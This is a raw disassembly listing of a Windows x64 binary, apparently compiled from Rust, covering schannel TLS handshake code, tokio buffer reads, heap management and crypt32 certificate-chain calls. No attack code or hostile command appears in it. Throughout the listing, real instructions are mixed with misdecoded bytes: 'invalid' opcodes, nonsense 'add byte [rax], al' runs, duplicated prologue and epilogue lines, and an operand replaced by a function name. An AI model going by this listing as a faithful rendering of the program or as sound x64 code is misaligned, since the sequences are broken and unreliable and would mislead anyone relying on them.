call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1401046b6
or al, 0x11
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov rax, rbx
shr rax, 0x20
cmp eax, 0xd
jne 0x1401046a0
mov qword [rdi], 2
jmp fcn.1401046ab
mov qword [rdi], 1
mov qword [rdi + 8], rbx
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsi + 0x1a0]
mov rdx, r15
mov r8, rbp
call fcn.14015cc80
mov r15, qword [rsi + 0x1b0]
mov rbx, qword [rsi + 0x1a0]
lea rcx, [rbx + r15]
cmp rbp, 2
jae 0x1401044ad
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r13
mov rdx, r15
call fcn.140160f40
ud2
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140105818
add byte [rax], al
add byte [rax], al
mov rbx, rax
mov qword [rax], rsi
mov qword [rax + 8], 0x1f
mov qword [rax + 0x10], 0x1f
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140105615
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140105829
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140105829
mov qword [rax], rbx
lea rcx, fcn.140022090
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x25
inc rax
mov qword [rdi + 8], rax
mov eax, 2
mov dword [rdi], eax
movaps xmm6, xmmword [rbp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add rsp, 0x198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add eax, 0xcddf8
mov edx, 0x29
call fcn.140160fb0
ud2
and eax, 0x1fba000d
add byte [rax], al
add al, ch
mov esp, 0xf0005b7
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
mov rcx, rsi
call fcn.140160f40
ud2
mov ecx, 1
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
lea eax, [0x1401daea0]
mov rcx, rsi
call fcn.140160f40
ud2
mov edx, 0x1f
call fcn.14015d7f0
fidivr dword [rdi + 5]
add byte [rdi], cl
invalid
fidivr dword [rdi + 5]
add byte [rdi], cl
or edi, dword [rcx + 8]
mov ecx, 8
mov edx, 0x18
call fcn.14015d7f0
ud2
mov qword [rbp + 0xe0], rbx
mov ecx, 8
mov edx, 0x18
add byte [rax], al
invalid
add byte [rax], al
add al, ch
mov cl, 0x7f
add eax, 0x660b0f00
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
call fcn.14015d7f0
ud2
push rsp
and al, 0x10
push rbp
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
sub esp, 0x78
sub esp, 0x78
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x60], xmm6
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x60], esi
lea rdx, fcn.140022090
lea edx, [0x1401d27e8]
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0xe0]
call fcn.1401372e0
add eax, dword [rax]
add eax, dword [rax]
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rbx, rdx
mov rsi, rcx
mov rdx, qword [rdx + 0x1b0]
xchg edx, eax
mov al, 1
add byte [rax], al
xchg edx, eax
mov al, 1
add byte [rax], al
mov rdi, qword [rbx + 0x1b8]
cmp rdi, rdx
jne 0x1401058d0
xor r13d, r13d
jmp 0x140105972
lea r14, [rbx + 0x10]
jae 0x1401058e4
lea r15, [rbx + 0x18]
xor r13d, r13d
lea r12, [rsp + 0x30]
mov rax, rdx
sub rax, rdi
ror byte [rax + 0x29], 1
clc
sub eax, edi
jb 0x1401059a0
mov ah, 0
add byte [rax], al
mov r8, qword [rbx + 0x138]
test r8, r8
je 0x1401059b1
mov ch, 0
add byte [rax], al
mov ch, 0
add byte [rax], al
mov r9, qword [rbx + 0x1a0]
add r9, rdi
cmp dword [r14], 2
add dh, byte ds:[rbp + 0x24]
add dh, byte ds:[rbp + 0x24]
mov qword [rsp + 0x20], rax
mov rcx, r12
loope 0x140105961
mov edx, edi
call fcn.140147930
mov rcx, qword [rsp + 0x30]
cmp rcx, 2
jne 0x14010594b
jmp 0x14010597a
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r14
call fcn.140102f90
invalid
dec dword [rax - 0x75]
and al, 0x30
cmp rcx, 2
invalid
je 0x14010597a
add dh, byte [rdi + rbp + 0x48]
mov eax, dword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
test rcx, rcx
jne 0x140105984
add r13, rax
add rdi, rax
mov qword [rbx + 0x1b8], rdi
mov rdx, qword [rbx + 0x1b0]
cmp rdi, rdx
jne 0x1401058e0
mov qword [rsi + 8], r13
xor eax, eax
jmp 0x14010598d
movabs rax, 0xd00000003
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rdi
cdq
and al, 0xd
add byte [rax - 0x77], cl
stc
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x1401d35c8]
invalid
add byte [rbp + rcx*4 + 5], cl
or esp, ebx
or al, 0
invalid
add byte [rdx + 0x29], bh
mov edx, 0x29
call fcn.140160fb0
ud2
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
invalid
mov qword [rcx + 0x38], rdx
mov rbx, qword [rcx + 0xb0]
mov r15, qword [rcx + 0xb8]
mov ecx, 0xb8
invalid
mov ecx, 0xb8
cmp r15, rbx
je 0x140105a91
mov r14, rdx
lea r12, [rsi + 0x10]
lea esp, [rsi + 0x10]
lea esp, [rsi + 0x10]
mov rbp, qword [rsi + 0xa0]
lea r13, [rsp + 0x28]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
mov rax, rbx
sub rax, r15
jb 0x140105b49
invalid
invalid
add dword [rax], eax
invalid
invalid
add byte [rbp - 0x73], cl
or al, 0x2f
lea r9, [r15 + rbp]
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, r12
mov r8, r14
call fcn.140147930
add byte [rax - 0x75], cl
and al, 0x28
add byte [rax - 0x75], cl
and al, 0x28
sub byte [rax - 0x7d], cl
clc
add cl, byte [rdi]
test dh, dl
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
jl 0x140105a7a
cmp rax, 2
je 0x140105b28
invalid
add byte [rax], al
invalid
invalid
mov rdi, qword [rsp + 0x30]
xor byte [rax - 0x7b], cl
sal byte [rbp + 0x11], 0x49
add edi, edi
test rax, rax
jne 0x140105a6d
add r15, rdi
mov qword [rsi + 0xb8], r15
cmp r15, rbx
cmp edi, ebx
mov eax, 0x49000000
cmp edi, ebx
jne 0x140105a20
jmp 0x140105a91
test rdi, rdi
je 0x140105a91
mov ebx, edi
and ebx, 3
lea rax, [0x14020ab04]
movsxd rcx, dword [rax + rbx*4]
xchg byte [rax + 0x10], dl
add byte [rax + 0x63], cl
or al, 0x98
add rcx, rax
jmp rcx
xor edi, edi
dec dword [rax - 0x39]
cmp byte [rax], r8b
add byte [rax], al
add byte [rcx], dh
shr cl, 0x93
add byte [rax], al
add byte [rax + 0x750d0f7f], al
cmp byte [rdi + 0xf], 0xd
jne 0x140105a93
invalid
mov qword [rsi + 0x38], 0
xor eax, eax
jmp 0x140105b35
cmp byte [rdi + 0xf], 0xd
jne 0x140105a93
mov qword [rsi + 0x38], 0
jmp fcn.140105acf
and al, ch
invalid
mov edi, dword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140105b04
cmp qword [rdi + 0x10], 0x11
jb 0x140105af2
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x62524
mov rcx, qword [0x140215360]
clc
adc byte [rax], al
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140105b30
mov qword [rsi + 0x38], 0
mov eax, 1
mov rdx, rdi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
mov rdx, rbx
call fcn.140160e60
ud2
lea rax, [rbx + rbx]
cmp rax, r13
cmova r13, rax
cmp r13, 0x401
cmovb r13, r12
mov rbp, qword [rdi + 0x190]
sub r13, rbp
jbe 0x140105c10
mov rax, qword [rdi + 0x188]
sub rax, rbp
cmp rax, r13
jb 0x140105ce5
mov r12, qword [rdi + 0x180]
lea rcx, [r12 + rbp]
cmp r13, 2
jb 0x140105bfd
lea r8, [r13 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbp, r13
dec rbp
add r12, rbp
mov rcx, r12
mov r12d, 0x400
mov byte [rcx], 0
inc rbp
mov qword [rdi + 0x190], rbp
mov rax, rbp
sub rax, rbx
jb 0x140105d49
mov rcx, qword [rdi + 0x180]
add rcx, rbx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov rdx, qword [rdi + 0x138]
test rdx, rdx
je 0x140105d5d
cmp dword [r14], 2
jne 0x140105c70
mov rcx, r15
lea r8, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.1401475e0
jmp 0x140105c7d
mov rcx, r14
lea r8, [rsp + 0x28]
call fcn.140103370
test rax, rax
movabs rax, 0xd00000003
cmovne rdx, rax
test rdx, rdx
jne 0x140105d27
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x140105d77
add rbx, rcx
mov qword [rdi + 0x198], rbx
add byte [rax - 0x75], cl
xchg eax, edi
add dword [rax], eax
add byte [rax - 0x77], cl
ret 0x2948
retf 0xbd41
add byte [rax], al
add byte [rax], al
cmovae r13, rdx
mov qword [rdi + 0x1f8], r13
test rcx, rcx
je 0x140105d1a
invalid
add rsi, rcx
cmp rax, rcx
ja 0x140105ba0
jmp 0x140105d1a
lea rcx, [rdi + 0x180]
mov rdx, rbp
mov r8, r13
call fcn.14015cc80
mov rbp, qword [rdi + 0x190]
mov r12, qword [rdi + 0x180]
lea rcx, [r12 + rbp]
cmp r13, 2
jae 0x140105be6
jmp 0x140105bfd
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rsi
xor eax, eax
jmp 0x140105d35
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rdx
mov eax, 1
mov qword [rcx], rax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rbx
mov rdx, rbp
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x1401d35c8]
mov edx, 0x29
call fcn.140160fb0
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
call fcn.140160f40
ud2
movzx eax, byte [rdi + 0x40]
test rax, rax
jne 0x140106e2d
movzx r15d, byte [rdi + 0x41]
movzx ecx, byte [rdi + 0x42]
movzx ebx, byte [rdi + 0x43]
movzx r14d, byte [rdi + 0x44]
mov rsi, qword [rdi + 0xb8]
mov rdx, qword [rdi + 0xb0]
cmp rsi, rdx
jne 0x140106180
test r15b, r15b
je 0x140106168
cmp qword [rdi + 0x38], 0
je 0x1401070b5
cmp byte [rdi + 0x40], 0
je 0x140106221
or r14b, bl
jne 0x140106237
jmp 0x14010622a
mov byte [rbp + 0xe0], cl
xor r12d, r12d
nop dword [rax]
mov rax, rdx
sub rax, rsi
jb 0x1401070cf
mov r8, qword [rdi + 0x38]
test r8, r8
je 0x1401070b5
mov r9, qword [rdi + 0xa0]
add r9, rsi
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, qword [rbp + 0x38]
call fcn.140147930
mov rcx, qword [rbp + 0xb0]
cmp rcx, 2
je 0x140106df6
mov rax, qword [rbp + 0xb8]
test rcx, rcx
jne 0x140106e00
add r12, rax
add rsi, rax
mov qword [rdi + 0xb8], rsi
mov rdx, qword [rdi + 0xb0]
cmp rsi, rdx
jne 0x140106190
test r12, r12
movzx ecx, byte [rbp + 0xe0]
je 0x14010614e
cmp byte [rdi + 0x40], 0
jne 0x140106153
mov byte [rdi + 0x41], 1
jmp 0x140106153
mov byte [rdi + 0x41], 0
or r14b, bl
jne 0x140106237
cmp byte [rdi + 0x122], 0
je 0x14010672f
test cl, cl
je 0x1401069dd
cmp qword [rdi + 0xf8], 0
je 0x140106272
mov rcx, r13
mov rdx, rdi
call fcn.1401074d0
cmp qword [rbp + 0xb0], 0
mov rax, qword [rbp + 0xb8]
jne 0x140106e00
test rax, rax
je case.0x14005f6a2.2305
mov rsi, qword [rdi + 0x98]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1401062a2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401070e0
mov qword [0x140215360], rax
mov r8d, 0x20
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401070e0
mov rdx, qword [rdi + 0x90]
cmp rsi, rdx
ja 0x1401070f1
mov r13, rax
mov rax, qword [rdi + 0x80]
mov dword [r13], esi
mov dword [r13 + 4], 2
mov qword [r13 + 8], rax
movups xmmword [r13 + 0x10], xmm6
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], 2
mov qword [rbp + 0xa0], 2
mov rdx, qword [rdi + 0x108]
mov esi, 2
test rdx, rdx
je 0x140106390
mov r8, qword [rdi + 0x118]
lea rcx, [rbp + 0xb0]
call fcn.14012c350
mov rbx, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xc0]
test rbx, rbx
mov qword [rbp + 0x40], rax
je 0x140106390
mov r14, qword [rbp + 0xb8]
lea rcx, [rbp + 0x90]
mov r15, rax
call fcn.14012c870
mov r13, qword [rbp + 0x90]
mov rsi, qword [rbp + 0xa0]
mov rax, rsi
shl rax, 4
mov dword [r13 + rax], r14d
mov dword [r13 + rax + 4], setsockopt
mov qword [r13 + rax + 8], r15
inc rsi
mov qword [rbp + 0xa0], rsi
jmp 0x140106392
xor ebx, ebx
mov dword [rbp - 8], 0
mov dword [rbp - 4], esi
mov qword [rbp], r13
movabs rax, 0x200000000
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 0
movabs rax, 0x1100000000
mov qword [rbp + 0xc0], rax
lea rax, [rbp + 0xc8]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movabs rax, 0x300000000
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x8c], 0
cmp byte [rdi + 0x122], 0
je 0x140106560
cmp byte [rdi + 0x123], 0
mov edx, 0
mov rcx, qword [rbp + 0x70]
cmove rdx, rcx
mov rax, qword [rdi + 0x58]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x50], xmm0
lea rax, [rbp + 0x8c]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
lea rcx, [rbp + 0x50]
lea r8, [rbp - 8]
mov r9d, 0x1011c
call qword [sym.imp.secur32.dll_AcceptSecurityContext]
mov r12d, eax
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
je 0x140106483
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x140106495
call qword [sym.imp.secur32.dll_FreeContextBuffer]
cmp r12d, 0x80090318
je 0x1401066ac
test r12d, r12d
je 0x1401065ff
cmp r12d, 0x90312
mov r8, qword [rbp + 0x40]
jne 0x140106e78
mov byte [rdi + 0x123], 0
cmp rsi, 1
jbe 0x140107073
cmp dword [r13 + 0x14], 5
jne 0x14010670e
mov r12, qword [rdi + 0x98]
mov eax, dword [r13 + 0x10]
mov r14, r12
sub r14, rax
jb 0x140107102
mov esi, dword [rbp + 0xb0]
mov rcx, qword [rbp + 0xb8]
mov qword [rbp + 0xe0], rcx
test eax, eax
je 0x14010676e
mov rdx, qword [rdi + 0x90]
mov r15, rdx
sub r15, r14
jb 0x14010711c
mov qword [rdi + 0x90], 0
test r14, r14
je 0x140106823
cmp rdx, r14
je 0x140106836
mov rcx, qword [rdi + 0x80]
lea rdx, [rcx + r14]
mov r8, r15
call sub.VCRUNTIME140.dll_memmove
jmp 0x14010682f
cmp byte [rdi + 0x120], 0
mov rax, qword [rdi + 0xd0]
mov r8d, 0
cmovne r8, rax
test rax, rax
cmove r8, rax
mov rax, qword [rdi + 0x58]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x50], xmm0
lea rax, [rbp + 0x8c]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x70]
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
mov r12d, eax
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
jne 0x14010647d
jmp 0x140106483
cmp rsi, 1
jbe 0x14010709f
cmp dword [r13 + 0x14], 5
jne 0x1401066d2
mov rcx, qword [rbp + 0xb8]
test rcx, rcx
mov rax, qword [rbp + 0x78]
je 0x140106632
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x10], rax
mov rax, rcx
mov r12, qword [rdi + 0x98]
mov r15d, dword [r13 + 0x10]
mov rsi, r12
sub rsi, r15
cmp r12, rsi
jb 0x140107102
mov qword [rbp + 0x78], rax
je 0x1401068b6
mov rdx, qword [rdi + 0x90]
mov r14, rdx
sub r14, rsi
jb 0x14010712d
mov qword [rdi + 0x90], 0
test rsi, rsi
je 0x1401068ad
cmp rdx, rsi
je 0x1401068b6
mov qword [rbp + 0xe0], rcx
mov rcx, qword [rdi + 0x80]
lea rdx, [rcx + rsi]
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
mov rcx, qword [rbp + 0xe0]
jmp 0x14010693b
cmp rsi, 1
jbe 0x140107089
mov eax, 1
cmp dword [r13 + 0x14], 4
jne 0x1401066c6
mov eax, dword [r13 + 0x10]
mov qword [rdi + 0xf8], rax
jmp 0x140106990
mov rax, qword [rbp + 0xb8]
test rax, rax
je 0x1401066ed
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x78], rax
mov qword [rdi + 0x98], 0
mov qword [rdi + 0xf8], 1
jne 0x1401068d5
jmp 0x14010697c
mov r12, qword [rdi + 0x98]
mov esi, dword [rbp + 0xb0]
mov eax, 1
mov rcx, qword [rbp + 0xb8]
mov r14, r12
jmp 0x14010683f
mov byte [rbp + 0xe0], cl
mov byte [rbp + 0xf7], bl
mov qword [rbp + 0xb0], 0
mov rcx, qword [rbp + 0x70]
mov edx, 0x53
mov r8, r13
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x140106778
cmp byte [rbp + 0xe0], 0
jne 0x14010623f
jmp 0x140107006
mov eax, 1
jmp 0x140106838
mov rbx, qword [rbp + 0xb0]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140106a3b
mov r12, r13
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rsi, rax
cmp qword [rdi], 0
je 0x140106810
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x140106810
nop
mov r13, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov qword [rbp + 0xb0], 0
mov rcx, rsi
mov rdx, r13
mov r8d, 3
mov r9, r12
call qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x140106f8a
mov rcx, qword [rbp + 0xb0]
mov r15, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call r15
mov rcx, r13
call r15
mov rcx, qword [rdi + 8]
mov rdx, r14
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1401067b0
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov r13, r12
jmp 0x140106a47
cmp rdx, r14
jne 0x14010682f
xor eax, eax
xor r14d, r14d
jmp 0x140106838
mov qword [rdi + 0x90], r15
xor eax, eax
mov rcx, qword [rbp + 0xe0]
sub r12, r14
mov qword [rdi + 0x98], r12
mov qword [rdi + 0xf8], rax
test esi, esi
mov r14d, esi
mov r12, rcx
lea rax, [0x140204680]
cmove r12, rax
mov rax, qword [rdi + 0xa8]
mov r15, qword [rdi + 0xb0]
sub rax, r15
cmp rax, r14
mov rsi, rcx
jb 0x140106b7a
mov rcx, qword [rdi + 0xa0]
add rcx, r15
mov rdx, r12
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r15, r14
mov qword [rdi + 0xb0], r15
mov rcx, rsi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
jmp 0x140106990
cmp rdx, rsi
jne 0x14010693b
xor eax, eax
cmp r12, rsi
sete al
mov qword [rdi + 0x98], r15
mov qword [rdi + 0xf8], rax
test rcx, rcx
je 0x140106961
mov esi, dword [rbp + 0x10]
test rsi, rsi
mov r14, qword [rbp + 0x78]
lea rax, [0x140204680]
cmove r14, rax
mov rax, qword [rdi + 0xa8]
mov r12, qword [rdi + 0xb0]
sub rax, r12
cmp rax, rsi
jb 0x140106b98
mov rcx, qword [rdi + 0xa0]
add rcx, r12
mov rdx, r14
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r12, rsi
mov qword [rdi + 0xb0], r12
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov r15, qword [rdi + 0x98]
test r15, r15
jne 0x140106966
jmp 0x14010697c
xor eax, eax
cmp r12, rsi
sete al
mov qword [rdi + 0x90], r14
mov qword [rdi + 0x98], r15
mov qword [rdi + 0xf8], rax
test rcx, rcx
jne 0x1401068d5
test r15, r15
je 0x14010697c
lea rcx, [rbp + 0x50]
mov rdx, rdi
call fcn.1401071d0
cmp byte [rbp + 0x50], 0
jne 0x140106fbb
cmp byte [rdi + 0x40], 0
jne 0x140106990
mov byte [rdi + 0x42], 0
nop word cs:[rax + rax]
test rbx, rbx
je 0x1401069b5
mov rax, qword [rbp + 0x40]
mov r8, rax
cmp rbx, 0x11
jb 0x1401069a6
mov r8, qword [rax - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x98], 0
je 0x1401069d1
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r13, [rbp + 0xb0]
jmp 0x14010611c
mov al, 2
test bl, bl
jne 0x140106a1d
mov rcx, r13
mov rdx, qword [rbp + 0x70]
call fcn.14012c920
cmp dword [rbp + 0xb0], 0
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x18], rax
jne 0x140107063
mov eax, dword [rbp + 0xb4]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x18], rax
mov al, 1
mov byte [rdi + 0x40], al
mov eax, dword [rbp + 0x24]
mov dword [rdi + 0x44], eax
mov rax, qword [rbp + 0x18]
mov qword [rdi + 0x48], rax
mov rax, qword [rbp - 0x18]
mov qword [rdi + 0x50], rax
jmp 0x14010611c
mov rsi, qword [rdi]
test rsi, rsi
je 0x140106a47
mov rsi, qword [rdi + 8]
movaps xmmword [rbp + 0xb0], xmm6
mov qword [rbp + 0xc0], 0
mov dword [rbp + 0xb0], 0x20
mov dword [rbp + 0xb8], 1
lea rax, str.1.3.6.1.5.5.7.3.1
mov qword [rbp + 0x90], rax
lea rax, str.1.3.6.1.4.1.311.10.3.3
mov qword [rbp + 0x98], rax
lea rax, str.2.16.840.1.113730.4.1
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xc0], 3
lea rax, [rbp + 0x90]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0x50], 0
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc0000001
xor ecx, ecx
mov rdx, rbx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.crypt32.dll_CertGetCertificateChain]
test eax, eax
je 0x14010701a
mov r14, qword [rbp + 0x50]
mov esi, 0xf00
cmp qword [rdi], 0
je 0x140106ce1
cmp dword [r14 + 0xc], 0
je 0x140106ce1
mov qword [rbp + 0x48], rbx
mov rax, qword [r14 + 0x10]
mov r13, qword [rax]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov rcx, r14
mov r14, rax
mov qword [rbp + 0x80], rcx
cmp dword [rcx + 0xc], 2
jb 0x140106bb6
mov r15d, 1
mov r12, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov rbx, qword [rbp + 0x80]
nop dword [rax]
mov rax, qword [rbx + 0x10]
mov r13, qword [rax + r15*8]
mov rcx, rbx
call r12
mov rsi, rax
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [rbx + 0xc]
inc r15
mov r14, rsi
cmp r15, rax
jb 0x140106b50
jmp 0x140106bc7
lea rcx, [rdi + 0xa0]
mov rdx, r15
mov r8, r14
call fcn.14015cc80
mov r15, qword [rdi + 0xb0]
jmp 0x140106880
lea rcx, [rdi + 0xa0]
mov rdx, r12
mov r8, rsi
call fcn.14015cc80
mov r12, qword [rdi + 0xb0]
jmp 0x140106904
mov rsi, r14
mov r12, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov rbx, qword [rbp + 0x80]
mov rcx, rbx
call r12
mov qword [rbp - 0x10], rax
mov rcx, rsi
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
call r12
xor ecx, ecx
mov r14, rbx
jmp 0x140106c02
inc rbx
mov rcx, rsi
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, rbx
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov r14, qword [rbp + 0x80]
mov rbx, qword [rbp + 0x48]
mov eax, dword [r13 + 0xc]
mov esi, 0xf00
cmp rcx, rax
jae 0x140106cd3
mov rax, qword [r13 + 0x10]
test rax, rax
je 0x140106cd3
mov rbx, rcx
mov rax, qword [rax + rcx*8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rsi, rax
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x140106be5
nop word [rax + rax]
mov r14, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r12, rax
mov r8d, dword [r14 + 0x10]
cmp r8d, dword [rsi + 0x10]
jne 0x140106c9e
mov rcx, qword [r14 + 8]
mov rdx, qword [rsi + 8]
call sub.VCRUNTIME140.dll_memcmp
